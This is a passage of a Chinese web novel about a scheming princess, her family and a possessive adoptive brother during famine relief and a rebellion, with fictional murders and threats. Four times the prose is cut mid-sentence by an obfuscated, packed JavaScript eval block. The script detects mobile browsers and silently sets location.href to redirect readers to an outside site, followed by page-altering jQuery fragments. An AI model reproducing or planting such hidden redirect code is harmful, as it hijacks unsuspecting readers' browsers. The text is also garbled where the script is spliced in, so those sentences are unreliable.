她眸光如冰,居高临下地看着州牧,“我特来此问问,州牧送到我表哥面前的那只手是什么意思啊?” 州牧脸色苍白,他真没想到会有疯子不顾体面,也不管权谋相斗,直接跑来问。 真是千算万算没想到慕湖舟带了个表妹过来,还是这种性子的。 早知如此,他又何必多此一举? “下官……下官只是见三皇子多看了那美姬几眼,想着成人之美……”州牧正满脑子找借口。 小满手上用力了几分,靖州州牧立马痛得嗷嗷直叫。 元韫浓冷笑:“州牧大人设宴,明知道我随之而来,还敢给我表哥送这些?难道不该给个交代?” “啊……”靖州州牧听着这话,豁然大悟。 原来是出于嫉妒之心啊,这就好办多了,他还以为元韫浓是一时善心大发,追究他**手呢。 原来只是个不知世事,且爱慕三皇子的刁蛮郡主罢了。 见州牧一脸顿悟的表情,还不做出回应,小满又扭了一把靖州州牧的胳膊。 “要断了要断了!这位姑娘手下留情啊!”靖州州牧惨叫着,冷汗涔涔,“下官并不知郡主与三皇子有情啊!若是真是如此,是万万不敢如此行事啊! 元韫浓冷哼一声:“我料你也不敢。” 她逼近一步,语气森寒:“州牧大人,有些事情我劝你最好想清楚再做。” “你也别想着上报到陛下那**我,我阿舅向来帮我,我在家中最小,爹娘也不会说我几句。但是你?你可就不一定了。”元韫浓缓缓抽出小满腰间小佩刀。 寒光映在州牧脸上,他腿一软,险些跪下。 元韫浓似笑非笑,“州牧大人,我倒也不妨告诉你,从小到大我想要什么就都会得到。这回我就是冲着我表哥来的,若是因你出了什么差池……” “我就剁了你的手。”她轻声细语道。 靖州州牧一阵毛骨悚然,颤声道:“朝荣郡主,下官、下官是真的不知情啊!不然下官吃了熊心豹子胆也不敢动这心思,郡主放心,下官再也不敢了!” 他险些崩溃,后悔招惹了元韫浓这个天不怕地不怕的疯子。 他们这些人挟势弄权,最怕的就是这样一言不合就掀桌的。 他现在生怕元韫浓这身娇肉贵的郡主拿着刀,一个没轻没重就不小心砍下他什么东西。 元韫浓收起刀,冷冷一笑:“很好。” 她转身离去,只留下一句:“州牧大人,记住今晚的话,若日后再出这样的事情……你知道后果。” 小满也松开了对靖州州牧的钳制,和霜降一块跟上了元韫浓。 靖州州牧这才松了口气,缓缓瘫坐在地上。 “浓浓,你怎可如此对待朝廷命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15476477|169973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官呢?”慕湖舟这才姗姗来迟,装模作样地说了两句。 然后他再对州牧毫无诚意地致歉:“浓浓自小被娇惯坏了,州牧为官已久,大人有大量,自然不会跟一个小姑娘见识。” 靖州州牧一口气哽在喉口,险些被气死,只能皮笑肉不笑。 元韫浓立马抱上了慕湖舟的手臂,“表哥,你还跟他说些什么?他都想着给你塞人了!” “好好好,我们不说了,回去吧。”慕湖舟无奈地笑了笑。 看着二人背影,州牧更是气不打一处来,险些背过去。 他刚想抬动痛得要命的胳膊,却发现胳膊绵软无力,抬不起来。 再一看,好像是刚才被那凶神似的的女使摁着时扭断了。 方才被吓破了胆,这会缓过神来,发觉自己胳膊被扭断了,疼痛后知后觉地袭来。 州牧立刻惨叫起来:“快来人!快来人!快喊大夫!” 刚刚不敢动作,在外头观望的仆役们见状,一溜烟地跑了进来,“州牧大人!” 一阵兵荒马乱。 不管靖州州牧那边乱成什么样,出了口恶气的元韫浓稍微心情好点。 慕湖舟笑道:“得亏之前说是我扮白脸,你扮红脸,不然这一茬我还真不好发火,难保不会撕破脸。” “用善妒这个名头朝他发火,再加上我一进面就那副趾高气扬的模样,他想不到深处去的。”元韫浓说,“只可惜不能现在就处置了他。” “等到此事终了,总有机会的。”慕湖舟安慰道。 元韫浓看向慕湖舟,“明日去赈灾一事交由我吧,你去查靖州州牧那些事。” “浓浓。”慕湖舟眉头微蹙,“此事有风险,那些官员都是难啃的骨头。既然先前的粮草被吞了,这次的他们也不会放手。” “我知道,放心,我知道怎么处理。”元韫浓露出笑,“不是说了吗?我们一个扮红脸一个扮白脸。” “我怕他们……”慕湖舟面露迟疑。 元韫浓笑了笑,“既然要风雨同舟,那你该信我才是呀。” 慕湖舟展开眉目,叹息般笑了一声:“好。” 元韫浓处理赈灾的事相当简单粗暴,次日慕湖舟去查案,她去赈灾。 她带来的粮食都是好米,不过照如今这情况来看,这些米会被一层层吞掉,到不了真该到的人手里。 “撒点沙土进去,尽快做成粥布施。”元韫浓平静地吩咐底下人,“哪个官员敢拦,不必问姓名,直接杀了剁成泥加进粥里。” 底下人震惊地看着面不改色就说出惊世骇俗话语的元韫浓,都怀疑自己听错了。 这是不是太心狠手辣了一点? 元韫浓微笑:“怎么?岁饥荒,人相食。他们饿得易子而食,用仇人的血肉添点荤香不好吗?” 毕竟是那些贪官污吏害得他们良民变流民,连赈灾的粮食都吃不到。 “额……不是,郡主,这是不是……”有人仍在犹豫。 “你当郡主还是我当郡主?”元韫浓面无表情地问。 那人立刻闭上了嘴。 他还不想做第一份肉泥。 第54章 鬼来袭 “郡主,那些剁成泥的,要用什么名头?”霜降问。 元韫浓又露出一点笑,伸手点了霜降一下,“笨呐。” 她道:“底下那些来干预的都是些无名小卒,真正的大人物怎么会亲自下场来拦?这些虾兵蟹将是死是活,我们那稳坐高堂的陛下在意吗?说是山匪或北凉人做的不就好了?” 霜降笑道:“郡主英明。” 元韫浓轻哼一声。 小满说:“郡主,这些粮怕是还不够。” “不够?”元韫浓沉吟片刻,“确实,粮不够,那就找人借吧。” 小满听得一愣,“找谁去借啊?郡主该不会要去锦州找世子和清河王借粮吧?” 元韫浓无语地斜睨她一眼,“借军粮,你疯了还是我疯了?” “你这丫头真是糊涂了。”霜降笑着碰了一下小满,“靖州有钱有粮食的,多了去。” “是啊,先挑只最富的羊宰了吧。”元韫浓笑。 霜降会意,“奴婢这就去把靖州首富请到附近酒楼,与郡主详谈。” 于是元韫浓降尊纡贵地等待了那位商人片刻,据说他原本不想来见元韫浓这样的皇亲国戚,疲于应付一个小丫头,但是霜降特意带了队士兵过去。 所以这位富有的商人还是来了。 “霜降,你先带人去施粥吧。”元韫浓说道。 霜降应声后,带着人走了。 有小满在,她很放心元韫浓的安危。 那位商人身边的四个侍卫加在一起,都打不过一个不带刀的小满。 “不知郡主请在下来,是有何要事啊?”商人跟靖州州牧如出一辙的敷衍了事,甚至更胜一筹。 元韫浓非但不生气,还面带笑容,“我想和你做个生意。” “你也知道,我和三皇子来此地是为了赈灾。”她神色真诚,“只是粮草不够,所以我才想向你们之类的富商借钱借粮。” 富商并不想惹麻烦,更不想跟元韫浓这样从京城来的贵女扯上关系。 如果他借钱财和粮食给元韫浓,无异于破坏了靖州之中的规矩。 “瞧您说的这话,在下不过是做点小本生意,可没有多余的钱粮。”富商摆手道。 “话别说得那么早嘛,既然是做生意,我也不会让你做赔本买卖。”元韫浓笑意不达眼底。 这些在靖州的富商,不但抢人良田,还每每遇到灾荒就提前买空粮市,哄抬粮价,再以高价卖出去,发这灾难财。 如今靖州,不会有谁比他们和州牧有钱和有粮食了。 商人重利,富商闻言,有些意动,“郡主可是有什么生财之道?” “正是。”元韫浓道,“常言有借有还,再借不难。我不但会如数奉还所借的钱粮,还会按照所借期限给利息。” 富商问:“这利息……要怎么算呢?” “京中有人偷放印子钱,是以一月为期,每月二分利息。”元韫浓笑,“但我不一样,我以一月为期,每日二分利息给你。” “每日二分利息?”富商瞠目结舌,果然心动。 每月二分利息已经不少了,更何况借的越多,赚的就越多。 而元韫浓以每日二分利息的给他,也就是说他一月能拿六十分的利息,简直是暴利。 他不禁怀疑这天大的好事,“郡主不会在诓在下吧?这事郡主能做得了主吗?” “我以朝荣郡主的身份担保,你还不信我吗?纵使我还不上,还有国公府能还,还有三皇子能还,还有国库能开。”元韫浓笑容依旧。 她的语调带有蛊惑:“我可是陛下亲封的郡主,货真价实的宗室。我可以跟你立字据,签字画押,盖上我父亲的私印作为保证。” 富商仍有怀疑,“这也让利太多了,郡主真能那么大方?” 元韫浓说:“我虽不才,却也懂得讲信修睦,互利共生的道理,做生意嘛。再说了,我如今也是无奈之举,粮草不够,怎么赈灾?” 她说着就叹了口气,似乎很真实。 “郡主虽然这么说了……”富商迟疑未决。 “既然谈不拢了,那么也没办法了,我只能再找找别人了。”元韫浓叹着气,站了起来,作势要走。 “等等!”富商连忙叫住了她。 元韫浓勾起唇角。 重赏之下,必有勇夫。 他不干有的是人想干,只要表现出把这赚取暴利的机会给别人的态度,就是他反过来求人了。 果然,富商赔笑道:“郡主深明大义,我们这些底下人就算是咬着牙赔本,也得支持啊。” “果然,同陛下一样关心民生大计的人还是不少啊。”元韫浓展颜一笑,“事不宜迟,我们现在便敲定合同吧?我这就派人去取钱粮。” “这么急吗?”富商一愣。 “那是自然。”元韫浓笑意不改,“我是等得起,百姓们等不起啊。” 这也合理。富商附和着夸了两句。 一切都相当顺利,元韫浓立刻派了人去取钱粮。 富商拿到合同之后还有些怀疑,拿着纸上上下下仔细检查了半天,发现没什么出错的地方。 这正规得不能再正规了。 富商一面怀疑,一面又窃喜。 得亏是碰上了这什么都不懂的小郡主啊,一直养在深闺之中不谙世事,哪里懂柴米油盐贵啊? 怕是不知道这六十分的利息,得有多少钱吧? 见富商还在细看合同,元韫浓也没生气。 她微微挑眉,笑说:“放心吧,我向你保证,这份合同会延续到你我此生的最后一刻。” 小满暗暗感叹,郡主把这合约精神说得像是什么宣誓似的,像是情话。 富商放心了,“郡主见笑了,我们行商之人难免在这些地方仔细些。” “无妨。”元韫浓摆了摆手。 天色已暗,走出酒楼,富商还在说些场面话。 说到起兴,他开始大谈阔论,说往后还要跟元韫浓合作。 小满提着盏灯,站在戚晚安身侧,替她照明,神情却已经开始不耐烦了。 话太多了。小满用看**的眼神看了眼富商,又瞟了一眼元韫浓的表情。 元韫浓面色未变,甚至连眼角眉梢的弧度都没变一点。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15476478|169973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>但是小满跟在元韫浓身边太久了,她能感觉到,元韫浓已经耐心告急了。 “天色已晚,大人先回去吧。我们郡主也要回州牧府上去,同三皇子细讲今日之事了。”小满出言。 富商哦了一声,捧腹笑着离开,“是是是,在下告退,若是下次还有此等好事,在下敞开大门,欢迎郡主再来跟在下做生意!” “你能那么想,很好。”元韫浓含笑说道。 有时候她想要当皇后的动机也挺简单的。 就是希望这些蠢货跟她说话之前,先过一遍脑子,知道什么该说什么不该说。 元韫浓看着富商坐上马车,驶向远方。 她脸上盈盈的笑意,在摇曳的灯火照耀下,泛出一丝森然的冰冷。 就那样注视着逐渐看不见的车马,元韫浓轻声说道:“处理掉。” “是!”小满脸上顿时浮现一个隐含兴奋的笑。 终于有机会可以让那个话多的老东西闭嘴了,郡主说那份合同会维持到此生的最后一刻,那是因为那老东西已经是将死之人了。 小满将提灯双手交给元韫浓,领命离开。 她带来的车马和剩下的人手就在不远处,走两步就到。 元韫浓提着灯,缓步朝那走过去。 夜浓稠如墨,四下幽寂,除了月亮,就唯有手中那盏提灯散发着微弱的光。 元韫浓嗅到了一丝似有若无的血腥气。 忽而一阵阴恻恻的风拂过,“呲”的一声,原本就是摇摆不定的灯火熄灭了。 黑暗瞬间将她吞噬,只剩下片点月光照亮前路,还有灯盏里幽幽的火星。 仿佛是预感到什么似的,元韫浓转过头,一个劲瘦的身影出现在背后的幽寂里。 他戴着一副赤面獠牙的鬼面面具,静静地站在那里。 周身散发着彻骨的寒意,猩红的内衬,黑色的外袍,少年气的文武袖,手里拎了把还在滴血的剑。 好似跟那副面具融为一体了一样,这人像是从深渊里爬出来的恶鬼。 火星扑簌两下,“刺啦”一声,那灯火居然又重新燃烧起来,元韫浓手里的提灯又亮了。 “不愧是阿姊。”熟悉的称呼,熟悉的声音,熟悉的语调。 元韫浓僵硬了一瞬间,看向来人。 映照在狰狞鬼面上的灯光忽明忽暗,一只修长苍白的手缓缓摘取下面具,露出那张惊心动魄的脸。 元韫浓不得不承认,她抛不开裴令仪的脸。 肤色堪比白雪,嘴唇殷红。 这张雌雄莫辨的脸,漂亮过绝代妖姬。 “阿姊真是好手段。”少年弯着眼睛笑。 喊她阿姊的语调一如往日那样千回百转,惯用的轻嘲里藏了柔软。 也不知道在调侃她前脚刚签合同,后脚就**卸货。 还是在嘲讽她前脚刚送自己出征,后脚就一声不吭地跟着慕湖舟跑来一片混乱的靖州赈灾。 元韫浓看着他的眼睛,“清都。” 月影晦朔,正值交戌,灯檠尽销。 魅影匝地,魍魉啮檐。 戌时三刻,鬼来袭。 第55章 数脉 裴令仪眼眸狭长,眼尾微微上挑,恰似藏着一汪春水,此刻却透着几分冷冽。 “阿姊瞒着我跑来靖州赈灾,就是为了替慕湖舟做出政绩吗?”他乌黑的瞳仁紧盯着元韫浓。 到后面,他不自觉加重了语气:“我不是说过了吗?锦靖一带很乱。” 他的语气越来越急,语速也越来越快:“如果站在这里的不是我呢?小满就这么放心你自己走这段夜路过去?要不是我,换成任何一个人都能在此时无声无息地结果了你的性命!” 元韫浓的目光在裴令仪脸上停留片刻,又落在了裴令仪手上沾血的剑上。 她眉头一皱,“你身上的血是谁的?” “啊,阿姊说这些血吗?”裴令仪露出一个笑,“当然是那些贪官污吏的啊,我把他们全杀了。” 他的脸上血迹斑驳,却带着温良无害的微笑。 “裴清都!”元韫浓惊怒道。 她几乎一下子就明白裴令仪杀了哪些人,那些人可不是什么无名小卒。 这时候那些有头有面的人都**,靖州只会更乱,还要在那赈灾? 这只会让他们投注更多的心力去处理靖州的事情。 “阿姊在生气。”裴令仪半眯起眼睛,逼近一步,“阿姊在气什么?” 他问:“阿姊就是在气我坏了你的计策,坏了慕湖舟的大业!” 他在锦州听闻元韫浓到靖州赈灾的消息,忧心元韫浓,一人轻骑快马加鞭赶来。 一路上压着一股火,他自己都分不清他是气元韫浓为慕湖舟不顾自身安危,还是气元韫浓连他都瞒着,又或者是气元韫浓站在了慕湖舟那边。 可他偏偏又不能放任元韫浓不管。 他知道元韫浓不会听他的,所以用最极端的方式尽快结束这一切。 直接把那些主要碍事的人全杀了。 他戴着面具,单枪匹马潜入那些人府邸里,挨个杀过来。 元韫浓抬手就是给了裴令仪一巴掌。 清脆的耳光声在夜色下格外明显。 裴令仪被打得偏过脸去,眸色晦暗不明。 “冷静了没有?”元韫浓冷眼看着他问,“我怎么做跟你有什么关系?” “阿姊……”裴令仪攥紧了掌心。 元韫浓深吸一口气,“你在锦州**叛乱,跑来靖州做什么?” “我担心你。”裴令仪盯着她的眼睛。 “担心我你丢下那边就跑过来?还把那些人全杀了?我看你是真疯了!”元韫浓怒道。 裴令仪垂眸,“锦州那边有世子在,不会出事。至于这里,装成是北凉人劫掠的队伍就行了。” “算了。”元韫浓勉强平复心情,“事已至此,就依你所言,闹得更大些吧。” 裴令仪的法子是可行的,把那些人全砍了虽然都乱了,但的确减少了阻力。 “阿姊既然愿意来这里帮慕湖舟,为什么不愿意看我?”裴令仪低着头问。 “我来这里就是为了可以看着两边!”元韫浓看他那样,气不打一处来,“我说我要来施粥还可以,你觉得我说我要随军,他们可能放我来吗?” 裴令仪眼底闪过一丝亮芒,“后续慕湖舟处理起来,稳定局面有的忙了,那阿姊随我去锦州吧。” 元韫浓嗤笑:“你不放心我跟慕湖舟来靖州,就放心我跟你去锦州?” “锦州对上的是庄且,他和阿姊有旧,跟我却没交情。当年阿姊托父兄多关照他,国公和世子却连他面都没见过,只是嘱咐下属多提携。”裴令仪的理由都很恰当,“除了阿姊,怕是没人能劝降他。” 他实在不放心元韫浓跟慕湖舟待在一起。 元韫浓冷哼一声,背过身走向自己的车马,“等到这里的援军来了再说。” 虽然说她本就要打算抽空去锦州,来都来了,她是打算两边保的。 只是裴令仪提前发现,自己过来靖州了,还整出这么大乱子。 裴令仪见她没有拒绝,熟知她本性,勾唇跟了上去,“阿姊,等等我。” “你跟着我做什么?”元韫浓问。 “我等援军来了,带阿姊一块去锦州。”裴令仪说,“阿姊一个人我不放心。” 元韫浓懒得跟裴令仪掰扯,她那么多亲卫难道都是死的吗? 裴令仪办事向来干净利落,很快就派人伪装成是北凉人的队伍,往坑钱害命的达官显贵那里一阵烧杀抢夺,趁乱又宰了几个贪官污吏。 彻彻底底把事情闹大了,捅到了惠帝的御案上去。 惠帝大怒,派遣慕湖舟**,又派元蕴英带兵马来协助。 朝堂上的臣子对于惠帝让元蕴英领兵这件事情大为震惊,纷纷上奏。 但惠帝沉迷炼丹无法自拔,逮着一群道士昼夜不分地炼制长生不死药,懒得再管这件事。 皇后觉得荒谬,好言好语劝了几次未果,反而激怒了惠帝,让他大发雷霆,也就不了了之了。 再加上朝堂上没有武将愿意沾锦靖一带的是非,正如当时没人愿意**锦州叛乱,也没人愿意赈灾靖州一样。 所以最后还是元蕴英领兵来的。 这下裴令仪就有了理由了,等到元蕴英风尘仆仆赶来,他就借口说靖州太乱。 他在回锦州**叛军时,秘密送元韫浓去锦靖交界的一处隐秘别庄里暂且避难,再留下亲兵看守保护。 等到慕湖舟和元蕴英把事情都处理完了,再带元韫浓一块回去。 慕湖舟哪哪都觉得不对。 但他也觉得确实太乱了,也顾不上元韫浓,还是答应了这个提议。 元蕴英这个亲姐也觉得可行。 裴令仪计划得逞,连带着对慕湖舟也和颜悦色几分。 他计划次日就送元韫浓去别庄,实则是要带元韫浓去锦州。 元韫浓被裴令仪安排得明明白白。 虽然一切都如她所愿进行着,但她看着裴令仪那模样,就憋着股气。 “阿姊。”裴令仪夜里到她房间时,她也没带理人。 元韫浓面无表情地坐在床边,“还喊我阿姊做什么?你才是我阿姊,一手操纵全部。” 裴令仪见她生气,半跪在她膝边,“阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15476479|169973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姊。” 见元韫浓还是不理自己,裴令仪便轻轻拉着元韫浓的衣袖晃了晃,“阿姊——” 元韫浓还是没反应。 “我是太担心阿姊了,我日后不会那么做了。”裴令仪低下脑袋。 元韫浓冷笑一声:“你下回还是会那么做的。” 她太清楚裴令仪的本性了,因为前世裴令仪就是这样的。 被裴令仪沾上,那这辈子才是真的完了,因为裴令仪会跟鬼一样一直缠着你。 你打他骂他都是没有用的,你甚至会怕这样让他爽到。 你就算再怎么践踏他的尊严,撕扯他的伤疤,那都是没有用的。 他这个人是忍耐的好手,什么都能忍。 不但能忍,他还是偏执得要命,认定了就死活不会松手。 裴令仪默了默,“阿姊这般看我吗?” “裴清都,少在我面前装。你知道我是什么样的人,我也知道你是什么样的人,何必装模作样的?”元韫浓轻嗤一声,“在我面前还这样,不累吗?” “阿姊,无论如何,我待你都是真心实意的。”裴令仪说道。 元韫浓抽出自己在裴令仪手里的袖子,“所以你才这么三番五次插手,干预我的决定?” 她赌气道:“我就算是今日被暗刺了,明日病**,一脚踏进了鬼门关,也犯不着跟你有关系。” 她蹙眉,“我死不死活不活的,同你又有什么关系?” “阿姊!”裴令仪蓦然拔高了声音。 元韫浓被他吓了一跳,就看他忽然抱住了自己。 “你根本不知道,你每次生病我有多担心。”裴令仪咬着牙,“那年你自请罚跪太庙病倒的时候,我看着你被沈川和慕水妃带走,我甚至不能跟上去,去看一眼。” “二十一息……”他喃喃道。 元韫浓错愕,“什么?” “二十一息。”他说道,“我只跟你单独待了那么一段时间,在慕水妃母妃的宫殿里。他们忙前忙后的时候,我跪在床边,只跟你待了二十一息。” 有什么温热的东西砸在了元韫浓的锁骨上,元韫浓微微睁大了眼睛。 裴令仪……哭了? “我握着你的手,数着你的脉,拢共跳了一百二十七下。”裴令仪整个人弓成保护的姿态,下颌抵着元韫浓发顶,仿佛怀里是随时会消散的晨雾。 元韫浓都能感受到他在发抖。 他问:“难道阿姊要我再数一次吗?” 元韫浓根本不懂他的无力和惶恐。 “如果阿姊讨厌我插手,要罚我,换种方式,什么都行……”他的哀求被尾调的颤抖绞碎,“捅我几刀也好,别提那个字……别这样说自己……” 裴令仪这么大的反应,给元韫浓整得心慌意乱。 她只得伸出手抱了抱裴令仪,“好了,我不说就是了。” 她没想到当初太庙里病倒带给裴令仪这么大的阴影,不过那时候裴令仪自身难保,其中的无力可想而知。 “阿姊,你不能这样说,你不能拿自己冒险。”裴令仪闷声说道。 第56章 挑衅 裴令仪开诚布公地讲起往事:“当年,太后暗邀我父王进宫觐见,我母妃预感到了什么,同他一起进的宫。” “果然是鸿门宴,太后以谋反的名义困杀我父王,逼迫我父王喝下毒酒,不然就杀尽裴氏族人,包括我与母妃。” “我父王竟然还对他们慕南一脉怀有期待,真的喝下了毒酒。我母妃为明其志,一头撞死。” 到了这里,他就已经是孤家寡人。 裴令仪说:“偌大的清河王府,只剩我一人。惠帝将我接入宫中,名为照料,实为监视磋磨。” “我一个人住在那个废宫里,身边只有裴七裴九。” 元韫浓知道他一直过得很艰难。 从前她并不在意,只是此时此刻,她却突然怜惜起裴令仪来。 裴令仪睫毛微微颤动,“他们都欺辱我,我只能忍耐。没有吃的,也没有穿的,我只有靠裴七暗中出宫的时候,带回来一些吃食和被褥。” “宫中只有慕湖舟和慕水妃这对兄妹,在看见别人欺负我的时候会出声制止。” “后来是阿姊,是阿姊救我于水火。”他说着收拢了手臂,将脸埋在元韫浓的颈窝轻轻蹭了蹭,“我没有亲人了,我只有阿姊。” 他委屈道:“阿姊不能丢下我一个人。” 元韫浓沉默片刻,伸出手摸了摸裴令仪的脑袋,“我不会丢下你一个人的。” “嗯。”裴令仪用鼻音回应道。 他把脑袋往旁边一歪,贴着元韫浓的鬓角,目光带有挑衅地望向对面。 裴令仪勾起唇角,对着站在门口的慕湖舟笑了笑。 被裴令仪抱着的元韫浓背对慕湖舟,没有觉察到有人到访,也对裴令仪的举动一无所知。 慕湖舟呼吸乱了一拍,扶在门边的手掌收拢。 他握了握拳,还是转身离去。 元韫浓依然没有觉察到这些。 裴令仪似是挑衅的笑,还有淬了冰的眼神,都让慕湖舟格外在意。 一整夜他都辗转反侧,直到送裴令仪和元韫浓走时,他还是有些心神不宁。 甚至于他走神忽略了元韫浓的话。 元蕴英古怪于他的心不在焉,“三皇子,应怜在跟你说话。” “啊。”慕湖舟回过神,歉意地对元韫浓笑了笑,“抱歉,浓浓,昨夜里没睡好走了个神。” 元韫浓担忧地看向他,“你也别太累了,做事松弛有度才好。” 慕湖舟安抚地笑了笑,“放心吧,我心里有数。倒是你,去了别庄要记得吃药。” “这我还能不记得吗?”元韫浓嗔怪道。 她又正色,郑重道:“千万保重。” “好。”慕湖舟含笑点头,“你等我处理完这里的事情,去别庄接你。” 元韫浓点头,“嗯,我等你。” 裴令仪根本看不下去两人的暗送秋波,不冷不热道:“该启程了。” 元韫浓对慕湖舟和元蕴英道别,上了马车。 “我送阿姊去别庄,再会了。”裴令仪对慕湖舟皮笑肉不笑道,又对元蕴英点头示意。 他是半点都不想待在这里,也不想看见慕湖舟那张脸。 说是去别庄,车马却一路向前,目标明确地驶向锦州。 将元韫浓带到元彻回面前时,裴令仪心情异常愉悦。 “应怜?”元彻回看见元韫浓出现,眼底闪过一丝不可置信,和片刻做梦般的迟疑。 他丢下军务,大步流星地走来,站到元韫浓面前。 按着元韫浓的肩膀上上下下打量了她好几眼,元彻回还是有些恍惚,“应怜?” 元韫浓觉得元彻回的反应有些奇怪,虽然说惊讶,但是元彻回的态度更像是做梦梦见了她一样。 但她也没有多想,露出笑容,“是我啊,阿兄。” 元彻回像是才反应过来,“你来做什么?简直胡闹!锦州有多危险,你知道吗?” 他随后就看向了元韫浓身后的裴令仪,“是你带她来的?裴清都,你脑子没毛病吧?把她带到这种地方!” 他怒道:“你不是说是去靖州护送她去往安全之地的吗?这里就是你说的安全之地!” 裴令仪还没说话,元韫浓就忙道:“是我让清都带我过来的。” “你自己要来的?”元彻回的视线落在元韫浓身上。 元韫浓点头,“我向陛下请旨,允我随三表哥一块去靖州赈灾。靖州乱了之后,本来清都是要送我去别庄的,是我自己要跟他来的。” 元彻回听了,看着妹妹那张脸,又说不出气话。 他依旧迁怒于裴令仪,“她说要来,你就真带她来了?你疯了不成?你知道锦州现在什么情况吗?叛军前线,你还带她来?” “阿兄,你别怪他。”元韫浓连忙抱过元彻回的手臂,“我跟庄且也算是有旧了,说不定能劝降呢。” “他既然都敢杀了原本的节度使,召集一堆人马做叛军了,还会因你几句话而降?”元彻回气道。 他拿手指戳了戳元韫浓额头,“你到底怎么想的?” 元韫浓可怜地垂下眼帘,“阿兄——” “罢了罢了,事已至此。”元彻回头疼地扶额,“我再派人送你回去。” 裴令仪道:“现在哪边都乱,与其送她走路上发生什么意外,还不如留在身边看护。” “留她在锦州?你是真想她出事啊?”元彻回怒道。 “我对阿姊安危的在意,并不比世子弱。世子也该明白,相较之下,确实是营内安全。”裴令仪冷静地回应。 元彻回深吸一口气,事情确实如此。 至少在营内,他们不死,元韫浓不会出事。 但是送元韫浓回去就不好说了,他们看不到的地方指不定出什么乱子。 元彻回又叹了口气,“罢了。” 元韫浓知道,这事是成了,元彻回这是妥协了。 “你去给她安排吧。”元彻回对裴令仪道,“你不在的日子里,军务堆积下来不少,你自己去办完。” 裴令仪点头,又看了元韫浓一眼,走了出去。 元韫浓看看裴令仪的背影,又凑到元彻回身边,“阿兄啊,我看你最近跟清都关系好了不少哦,是因为共事的关系吗?” 元彻回拉着元韫浓坐下,“……算是吧。” 其实是因为,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15476480|169973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近日做的梦。 他最近一直做相似的梦。 但他要怎么告诉元韫浓,他梦见后面裴令仪反了,还当了皇帝,不仅如此还强逼已经嫁给沈川的元韫浓进宫当了皇后。 最后裴令仪油尽灯枯而亡,元韫浓也郁郁病逝。 而且他不止做了这一个梦,他还做了很多很多的梦。 他的梦里都是裴令仪和元韫浓,还都是做出不同选择的裴令仪和元韫浓。 不管他们怎么选,结果都是不得善终。 一点点小小的偏差都可能导致结局的不同。 就像昨日他的梦里,是裴令仪和元韫浓做了帝后,裴令仪御驾亲征北伐,元韫浓留守后方坐镇京华。 他是跟裴令仪一同去北伐的。 但是北凉刁滑之至,绕后突袭京华,京城失守。 北凉人砍下了元韫浓的头颅,以此来挑衅裴令仪。 裴令仪为此险些丧命。 想到梦里那个场面,元彻回的手就止不住地轻颤。 “应怜……”元彻回嗓音嘶哑,“你最近可有什么不适的地方吗?” “阿兄,你那是什么表情?”元韫浓像是觉得有些好笑,转过头看着自家哥哥。 她只觉得元彻回还是太担心她了,“放心啦阿兄,我都有好好吃药的。” 看着元韫浓那张漂亮的脸,元彻回无法抑制地想到了梦境里这张脸被溅上鲜血的模样。 一颗漂亮的、血腥的头颅就**在枪尖上。 这种茹毛饮血的、残忍的、野蛮的挑衅和宣战。 北凉人就这样向裴令仪嘲笑、挑衅,向大雍叫阵。 梦里的一切都太真实了,仿佛身临其境一样。 元彻回都能回忆起那时候天旋地转的悲痛,还有浓重的血腥味。 他看着裴令仪双目通红地喊着,不知道是哭喊还是怒喊,不顾一切地冲进敌人堆里,冲上城墙。 裴令仪砍倒别人也被人砍伤,像是不知疼痛地爬到那杆枪前面,伸出双手去够那颗头颅。 最终倒在那杆枪前面。 裴令仪险些丢了一条命,但好在最后还是赢了。 他看着裴令仪在击溃北凉之后,就耗尽心力气血,自毁般不久于人世,随着他的妹妹一块葬入皇陵。 元彻回本能地作呕。 那样惨烈的结局。 他的小妹妹,在梦里像是蝴蝶一样,笑着跟他道别。 然后他没再见过她,见到的只是插在枪尖上的首级。 她再也没有回来。 他甚至不能安葬她以全尸。 这个梦惨烈到现在元彻回看着元韫浓的脸,都觉得还是在梦里。 这太奇怪了,为什么他会反复梦到这些? 